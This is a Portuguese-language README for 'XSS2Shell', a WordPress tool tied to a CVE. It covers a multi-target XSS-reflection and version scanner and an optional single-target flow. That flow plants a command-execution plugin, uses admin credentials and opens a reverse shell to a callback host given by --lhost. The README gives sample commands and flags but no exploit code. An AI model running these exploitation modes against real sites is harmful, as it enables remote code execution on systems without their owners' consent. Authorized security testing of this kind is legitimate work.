
Scanner autorizado de XSS-para-RCE em WordPress com reflexão XSS concorrente em múltiplos alvos e detecção de fingerprint de versão, além de fluxo de exploração opcional.
Desenvolvedor: YogaGymn
Utilitário de PoC/scanning para testes de segurança autorizados em WordPress. O projeto contém um fluxo de exploração de alvo único e um modo somente scan concorrente multi-alvo.
Importante: Use este projeto apenas em instalações WordPress que você possui ou tem autorização explícita para testar. O scanner multi-alvo é intencionalmente limitado a fingerprinting e detecção de reflexão de XSS; ele não realiza captura de credenciais, upload de plugins ou RCE contra uma lista de alvos.
O script original suporta:
auto, xss e direct.O scanner adicionado suporta:
ThreadPoolExecutor.O modo multi-alvo não chama as funções RCE originais.
requestsInstale a dependência:
python3 -m pip install requests
Se sua distribuição Linux usa um ambiente Python gerenciado externamente, use um ambiente virtual:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Clone ou copie o projeto:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Ou simplesmente coloque:
xss2shell.py
no seu diretório de trabalho.
Crie um arquivo chamado targets.txt:
https://example1.test
https://example2.test
https://example3.test
Comentários e linhas vazias são ignorados:
# Authorized lab targets
https://example1.test
https://example2.test
Execute o scanner:
python3 xss2shell.py -i targets.txt
A concorrência padrão é de 10 workers.
Por exemplo, use 20 workers:
python3 xss2shell.py -i targets.txt --workers 20
Para um laboratório pequeno:
python3 xss2shell.py -i targets.txt --workers 5
Não escolha um número de workers desnecessariamente alto, pois isso pode aumentar a carga de conexões e pode acionar limitação de taxa ou controles defensivos.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
O scan_results.txt padrão usa campos separados por tabulação:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Exemplo:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Status Significado
XSS_REFLECTION_DETECTED O scanner detectou o comportamento
de reflexão de HTML testado. Isso
não é, por si só, prova de RCE.
XSS_NOT_DETECTED A reflexão testada não foi
detectada.
ERROR A verificação encontrou uma exceção.O scanner pode reportar detalhes como:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDEsses valores descrevem a resposta observada pela rotina de detecção; eles devem ser validados manualmente antes de tratar um resultado como uma vulnerabilidade confirmada.
O script original também suporta argumentos de alvo único.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Os fluxos de trabalho XSS/diretos podem criar ou ativar um plugin contendo funcionalidade de execução de comandos. Use-os apenas dentro de um ambiente de teste autorizado.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Argumento Descrição
target URL de destino única.
-i, --input Arquivo contendo múltiplos alvos.
--output Arquivo de saída para resultados de
múltiplos alvos. Padrão:
scan_results.txt.
--workers Número de workers concorrentes.
Padrão: 10.
--mode Modo original de alvo único:
auto, xss ou direct.
-u, --username Nome de usuário do WordPress para o
fluxo de trabalho original
direct/fallback.
-p, --password Senha do WordPress para o fluxo de
trabalho original direct/fallback.
--lhost Host de callback/reverse-shell para o
PoC original.
--lport Porta do reverse-shell. Padrão:
4444.
--slug Slug do plugin. Padrão: xss2shell.
--callback-port Porta do servidor de callback. Padrão:
9090.
--no-rev Pula o acionamento do reverse-shell no
fluxo de trabalho original.O modo multi-alvo usa o:
ThreadPoolExecutor
Cada alvo é submetido como uma tarefa de varredura independente: